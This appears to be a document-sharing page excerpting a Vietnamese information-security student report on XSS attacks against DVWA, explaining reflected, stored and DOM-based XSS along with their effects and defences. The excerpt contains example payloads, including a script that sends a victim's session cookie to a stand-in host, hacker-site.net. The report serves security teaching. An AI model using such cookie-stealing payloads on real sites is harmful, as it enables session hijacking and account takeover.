Nghiên Cứu Tấn Công XSS Trên DVWA Và Cách Phòng Chống Hiệu Quả

Tài liệu nghiên cứu Nghiên cứu tim hiểu và triển khai mô phỏng tấn công xss trên dvwa, tổng hợp lý thuyết và thực hành, cung cấp kiến thức chuyên sâu về .

Trường đại học

Học viện Kỹ thuật Mật mã

Chuyên ngành

An toàn thông tin

Người đăng

Ẩn danh

Thể loại

báo cáo

2022

52
17
0

Phí lưu trữ

30 Point

Mục lục chi tiết

LỜI CAM ĐOAN

LỜI NÓI ĐẦU

DANH MỤC CÁC TỪ NGỮ VIẾT TẮT

DANH MỤC HÌNH VẼ

1. CHƯƠNG 1: TỔNG QUAN VỀ CUỘC TẤN CÔNG XSS

1.1. Khái niệm phương pháp tấn công XSS

1.2. Cơ chế hoạt động của cuộc tấn công XSS

1.2.1. Bản chất của cuộc tấn công

1.2.2. Quá trình thực hiện tấn công

1.3. Hình thức, hậu quả của các cuộc tấn công XSS

1.3.1. Hình thức

1.3.2. Hậu quả

2. CHƯƠNG 2: PHÂN TÍCH TẤN CÔNG XSS

2.1. Phân loại các cuộc tấn công XSS

2.1.1. Reflected XSS

2.1.2. Stored XSS

2.1.3. DOM-based XSS

2.2. Phân tích chi tiết một cuộc tấn công XSS

2.3. Ví dụ về Vector tấn công Cross-site Scripting

2.4. Kiểm thử một cuộc tấn công XSS

2.5. Ngăn chặn tấn công XSS

2.6. Một số kịch bản thực tế cho các cuộc tấn công XSS

2.6.1. Cướp session của người dùng

2.6.2. Thực hiện các hoạt động trái phép

2.6.3. Đánh cắp thông tin đăng nhập của người dùng

2.6.4. Nắm bắt các phím chính bằng cách tiêm Keylogger

2.6.5. Đánh cắp thông tin nhạy cảm

3. CHƯƠNG 3: THỰC NGHIỆM TRÊN DVWA

3.1. Tấn công chèn mã script trên trang DVWA

3.2. Tấn công XSS Reflected

3.3. Tấn công XSS Stored

3.4. Thực hiện hành vi lừa đảo người dùng bằng công cụ Beef

TÀI LIỆU THAM KHẢO

Tóm tắt

I. Tổng quan về tấn công XSS trên DVWA và cách phòng chống

Tấn công Cross-Site Scripting (XSS) là một trong những mối đe dọa lớn nhất đối với an ninh web hiện nay. DVWA (Damn Vulnerable Web Application) là một nền tảng phổ biến để thử nghiệm và học hỏi về các lỗ hổng bảo mật, bao gồm XSS. Bài viết này sẽ cung cấp cái nhìn tổng quan về tấn công XSS, cách thức hoạt động của nó và các biện pháp phòng chống hiệu quả.

1.1. Khái niệm tấn công XSS và DVWA

XSS là một kỹ thuật tấn công mà kẻ tấn công chèn mã độc vào trang web, nhằm đánh cắp thông tin người dùng. DVWA là một ứng dụng web dễ bị tấn công, giúp người dùng thực hành và hiểu rõ hơn về các lỗ hổng bảo mật.

1.2. Tại sao tấn công XSS lại nguy hiểm

Tấn công XSS có thể dẫn đến việc đánh cắp thông tin nhạy cảm như cookies, session tokens, và thông tin đăng nhập. Điều này có thể gây ra thiệt hại lớn cho người dùng và tổ chức.

II. Các hình thức tấn công XSS phổ biến trên DVWA

Có ba hình thức tấn công XSS chính: Reflected XSS, Stored XSS và DOM-based XSS. Mỗi hình thức có cách thức hoạt động và mức độ nguy hiểm khác nhau.

2.1. Reflected XSS

Reflected XSS xảy ra khi mã độc được phản hồi ngay lập tức từ server. Kẻ tấn công thường gửi liên kết độc hại cho nạn nhân, và khi nạn nhân nhấp vào, mã độc sẽ được thực thi.

2.2. Stored XSS

Stored XSS là hình thức nguy hiểm nhất, khi mã độc được lưu trữ vĩnh viễn trên server. Khi người dùng truy cập vào trang chứa mã độc, nó sẽ tự động được thực thi.

2.3. DOM based XSS

DOM-based XSS xảy ra khi mã độc được thực thi trong trình duyệt mà không cần tương tác với server. Kẻ tấn công có thể thay đổi nội dung của trang web thông qua JavaScript.

III. Phương pháp phòng chống tấn công XSS hiệu quả

Để bảo vệ ứng dụng web khỏi tấn công XSS, cần áp dụng nhiều biện pháp bảo mật khác nhau. Việc kiểm tra và xử lý đầu vào của người dùng là rất quan trọng.

3.1. Kiểm tra và xác thực đầu vào

Tất cả dữ liệu đầu vào từ người dùng cần được kiểm tra và xác thực để ngăn chặn mã độc. Sử dụng các hàm mã hóa để xử lý dữ liệu trước khi hiển thị.

3.2. Sử dụng Content Security Policy CSP

CSP là một biện pháp bảo mật giúp ngăn chặn các tấn công XSS bằng cách chỉ định nguồn tài nguyên được phép tải trên trang web.

3.3. Cập nhật và vá lỗi thường xuyên

Luôn cập nhật các phần mềm và thư viện sử dụng trong ứng dụng để đảm bảo không có lỗ hổng bảo mật nào bị khai thác.

IV. Ứng dụng thực tiễn và kết quả nghiên cứu về XSS

Nghiên cứu về tấn công XSS trên DVWA đã chỉ ra rằng việc hiểu rõ các hình thức tấn công và biện pháp phòng chống là rất quan trọng. Các cuộc tấn công thực tế đã cho thấy mức độ nghiêm trọng của vấn đề này.

4.1. Kết quả thực nghiệm trên DVWA

Thực nghiệm cho thấy DVWA là một công cụ hữu ích để học hỏi về các lỗ hổng bảo mật, giúp người dùng nhận thức rõ hơn về các mối đe dọa.

4.2. Tác động của tấn công XSS đến người dùng

Tấn công XSS không chỉ gây thiệt hại về tài chính mà còn ảnh hưởng đến uy tín của tổ chức và sự tin tưởng của người dùng.

V. Kết luận và tương lai của nghiên cứu về XSS

Tấn công XSS vẫn là một trong những mối đe dọa lớn nhất đối với an ninh web. Việc nghiên cứu và phát triển các biện pháp phòng chống là cần thiết để bảo vệ người dùng và tổ chức.

5.1. Tương lai của bảo mật web

Với sự phát triển của công nghệ, các hình thức tấn công cũng sẽ ngày càng tinh vi hơn. Cần có sự hợp tác giữa các nhà phát triển và chuyên gia bảo mật để đảm bảo an toàn cho người dùng.

5.2. Khuyến nghị cho các nhà phát triển

Các nhà phát triển cần thường xuyên cập nhật kiến thức về bảo mật và áp dụng các biện pháp phòng chống tấn công XSS trong quá trình phát triển ứng dụng.

09/07/2025

Trích đoạn nội dung tài liệu

CHƯƠNG 1: TỔNG QUAN VỀ CUỘC TẤN CÔNG XSS 1. Khái niệm phương pháp tấn công XSS XSS là tên viết tắt của Cross-site scripting. Đây là một kiểu tấn công bảo mật bằng mã độc phổ biến trong thời gian gần đây, trong đó kẻ tấn công sẽ lợi dụng các lỗ hổng bảo mật để đưa các tập lệnh độc hại vào phần nội dung của các trang web đáng tin cậy khác. Tấn công Cross-site scripting xảy ra khi một nguồn không đáng tin cậy được phép đưa code của chính nó vào một ứng dụng web và mã độc đó được bao gồm trong nội dung gửi đến trình duyệt của nạn nhân.

Bằng cách khai thác lỗ hổng XSS, kẻ tấn công không nhắm trực tiếp vào nạn nhân. Thay vào đó, hacker sẽ tiến hành khai thác lỗ hổng trong trang web hoặc ứng dụng web mà nạn nhân đang truy cập. Mục đích chính của hacker khi thực hiện tấn công đó là ăn cắp dữ liệu nhận dạng của người dùng như session tokens, cookies và các thông tin khác. Khi đăng nhập vào được các tài khoản website, hacker có thể truy cập vào bất cứ dữ liệu nào và toàn quyền kiểm soát tất cả các chức năng và dữ liệu của ứng dụng.

Tấn công XSS là hình thức tấn công đơn giản nhưng đặc biệt nguy hiểm. Đây cũng là kỹ thuật được hacker sử dụng phổ biến nhất trong thời điểm hiện nay. Cơ chế hoạt động của cuộc tấn công XSS 1. Bản chất của cuộc tấn công Về cơ bản khi thực hiện tấn công Cross-site scripting thì hacker sẽ thực hiện gửi chèn các lệnh và script độc hại, thường thì các mã script này được viết bằng các ngôn ngữ lập trình phía client như VBScript, ActiveX và Flash (hiện được coi là cũ hoặc thậm chí lỗi thời), nhưng phổ biến nhất vẫn là JavaScript - chủ yếu vì JavaScript là nền tảng cho hầu hết các trải nghiệm duyệt web.

XSS hoạt động bằng cách điều khiển một trang web dễ bị tấn công để trả về JavaScript độc hại cho người dùng. Khi mã độc được thực thi bên trong trình 1 duyệt, hacker hoàn toàn có thể xâm nhập vào tài khoản và sử dụng dữ liệu của người dùng vào mục đích cá nhân. Quá trình thực hiện tấn công Để chạy được code JavaScript độc hại trong trình duyệt của nạn nhân, trước tiên, kẻ tấn công phải tìm cách truyền payload vào trang web mà nạn nhân truy cập. Tất nhiên, kẻ tấn công có thể sử dụng các kỹ thuật social engineering để thuyết phục người dùng truy cập trang đã bị tấn công đó.

Để một cuộc tấn công XSS diễn ra, trang web bị tấn công cần trực tiếp bao gồm đầu vào của người dùng trong các trang của mình. Kẻ tấn công sau đó có thể chèn một chuỗi sẽ được sử dụng trong trang web và được xử lý dưới dạng code bởi trình duyệt nạn nhân. Mã giả phía máy chủ (server-side pseudo-code) này được sử dụng để hiển thị bình luận gần đây nhất trên trang web: print "<html>" print "<h1>Most recent comment</h1>" print database.latestComment print "</html>" Tập lệnh sẽ in ra bình luận mới nhất từ cơ sở dữ liệu và in nội dung ra trang HTML, giả sử rằng bình luận được in ra chỉ bao gồm phần văn bản. Trang trên dễ bị tấn công bởi XSS vì kẻ tấn công có thể gửi nhận xét có chứa payload độc hại, chẳng hạn như: <script>doSomethingEvil();</script>.

Người dùng truy cập trang web sẽ được hiển thị trang HTML sau: <html> <h1>Most recent comment</h1> <script>doSomethingEvil();</script> </html> 2 Khi trang load trong trình duyệt của nạn nhân, tập lệnh độc hại của kẻ tấn công sẽ thực thi, mà người đó không hề hay biết và cũng không thể ngăn chặn cuộc tấn công này. Lưu ý: Lỗ hổng XSS chỉ có thể tồn tại nếu payload (tập lệnh độc hại) mà kẻ tấn công chèn vào được phân tích (thành HTML như trong trường hợp trên) trong trình duyệt của nạn nhân. Hình thức, hậu quả của các cuộc tấn công XSS 1. Hình thức Tấn công XSS có thể diễn ra dưới nhiều hình thức khác nhau.

Tuy nhiên các hacker thường hay sử dụng những loại hình thức tấn công chính đó là:  Cross Site Scripting có thể xảy ra trên tập lệnh độc hại được thực hiện ở phía client.  Trang web hoặc form giả mạo được hiển thị cho người dùng (nơi nạn nhân nhập thông tin đăng nhập hoặc nhấp vào liên kết độc hại).  Trên các trang web có quảng cáo được hiển thị.  Email độc hại được gửi đến nạn nhân.

Tấn công xảy ra khi tin tặc tìm kiếm những lỗ hổng trên website và gửi nó làm đầu vào độc hại. Tập lệnh độc hại được tiêm vào mã lệnh và sau đó được gửi dưới dạng đầu ra cho người dùng cuối cùng. Thử phân tích một ví dụ đơn giản để nhận biết: Giả sử có một trang web với trường Search là trường có lỗ hổng và khi người dùng nhập bất kì đoạn script nào vào thì đều được thực thi. VD1: Người dùng tiến hành nhập đoạn script như hình 1.1 và sau khi ấn “Search”, đoạn script được nhập sẽ được thực hiện như hình 1.1: Người dùng tiến hành nhập đoạn script Hình 1.2: Đoạn script được thực thi cho ra kết quả trả về Trong ví dụ trên, script đã nhập vào trường Search được thực thi.

Điều này chỉ cho thấy lỗ hổng của cuộc tấn công XSS. Tuy nhiên, một tập lệnh có hại hơn cũng có thể được nhập. Nhiều Tester kết hợp tấn công Cross Site Scripting với Javascript Injection, cũng đang được thực hiện ở phía client. Trong cả hai, các script tấn công độc hại đang được tiêm.

Tuy nhiên, trong trường hợp tấn công XSS, các thẻ <script> không cần thiết để thực thi script. VD2: Thử xem xét trong trường review nếu Hacker tiến hành nhập đoạn mã code: <script>destroyWebsite();</script> Sau đó, hàm destroyWebsite() sẽ được gọi và nó sẽ thực hiện các hành động có hại của nó. Về cơ bản, cuộc tấn công XSS chủ yếu được sử dụng để thu thập cookie của người khác, có thể được sử dụng để đăng nhập bằng các 4 danh tính khác nhau. Tiếp theo hãy phân tích một ví dụ khác về kịch bản XSS có thể có với hành vi trộm cắp cookie có thể xảy ra.

VD3: Thông qua các lỗ hổng của website, tin tặc sẽ tiêm mã thích hợp. **<script type=”text/javascript”> Var test=’.php?cookie_data=’+escape(docuent.cookie); </script>** Trong ví dụ trên, cookie bị mất và được gửi tới biến ‘cookie_data’ của tập lệnh mẫu example. Nếu hacker sẽ chèn tập lệnh này vào mã của trang web, thì mã sẽ được thực thi trong trình duyệt của người dùng và cookie sẽ được gửi tới hacker. Hậu quả Kẻ tấn công tiến hành khai thác lỗ hổng XSS trên nhiều trang web sẽ đem lại hậu quả rất nặng nề:  Mạo danh hoặc giả dạng người dùng của nạn nhân.

 Thực hiện bất kỳ hành động nào mà người dùng có thể thực hiện.  Đọc bất kỳ dữ liệu nào mà người dùng có thể truy cập.  Nắm bắt thông tin đăng nhập của người dùng.  Thực hiện thay đổi bề mặt ảo của trang web.

 Chèn trojan độc hại vào trang web. Đặc biệt trong thực tế một cuộc tấn công XSS diễn ra còn phụ thuộc vào bản chất của ứng dụng, chức năng, dữ liệu cũng như trạng thái của người dùng bị xâm phạm. Ví dụ:  Trong một ứng dụng brochureware, nơi tất cả người dùng đều xuất hiện ẩn danh thì khi một cuộc tấn công XSS xảy ra nó có thể sẽ làm tất cả thông tin người dùng bị công khai. Từ đó dẫn đến lộ danh tính của người dùng.

5  Trong một ứng dụng chứa các thông tin bảo mật như giao dịch ngân hàng, email hoặc hồ sơ chăm sóc sức khỏe, tấn công XSS sẽ gây ra những hậu quả nghiêm trọng về cả tài sản lẫn độ uy tín của doanh nghiệp.  Nếu người dùng bị xâm phạm có các đặc quyền nâng cao trong ứng dụng, thì sẽ ảnh hưởng rất nghiêm trọng. Cho phép hacker có toàn quyền kiểm soát ứng dụng dễ bị tấn công và xâm phạm tất cả người dùng và dữ liệu của họ. 6 CHƯƠNG 2: PHÂN TÍCH TẤN CÔNG XSS 2.

Phân loại các cuộc tấn công XSS Có ba loại tấn công XSS chính thường thấy đó là:  Reflected XSS  Stored XSS  DOM-based XSS 2. Reflected XSS Reflected XSS là hình thức tấn công được sử dụng nhiều nhất. Đây là nơi mã script độc hại đến từ HTTP request. Từ đó, hacker đánh cắp dữ liệu của người dùng, chiếm quyền truy cập và hoạt động của họ trên website thông qua việc chia sẻ URL chứa mã độc.

Hình thức này thường nhắm đến một khối ít nạn nhân.1: Mô hình tấn công Reflected XSS Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website. Chi tiết được mô tả qua những bước sau: 7 Kịch bản tấn công Reflected XSS.2: Kịch bản của tấn công Reflected XSS Chi tiết từng bước thực hiện:  Người dùng đăng nhập web và giả sử được gán session: Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4  Bằng cách nào đó, hacker gửi được cho người dùng URL: http://example.com/name=var+i=new+Image;+i.src=”http://hack er-site.cookie; Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra.  Nạn nhân truy cập đến URL trên.  Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request (đoạn javascript của hacker).

 Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript.  Đoạn javascript mà hacker tạo ra thực tế như sau: 8 var i=new Image; i.src=http://hacker-site.cookie; Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng: GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1 Host: hacker-site.net  Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có. Stored XSS Stored XSS là loại tấn công cross-site scripting gây thiệt hại nhiều nhất.

Kẻ tấn công truyền một tập lệnh - còn được gọi là payload - được lưu trữ vĩnh viễn trên ứng dụng đích, chẳng hạn như cơ sở dữ liệu. Ví dụ: kẻ tấn công chèn một đoạn mã độc trên blog, trong một bài đăng trên diễn đàn hoặc trong trường bình luận. Lúc này Payload XSS sẽ đóng vai trò như một phần của trang web khi nạn nhân điều hướng đến trang web bị ảnh hưởng trong trình duyệt. Khi nạn nhân xem trang trên trình duyệt sẽ vô tình thực thi tập lệnh độc hại.3: Mô hình tấn công Stored XSS Stored XSS khác với Reflected XSS, hình thức này nhắm đến nhiều nạn nhân cùng lúc.

Đây là nơi script độc hại đến từ cơ sở dữ liệu của trang web.

Nội dung được bảo vệ bản quyền — Tải xuống đầy đủ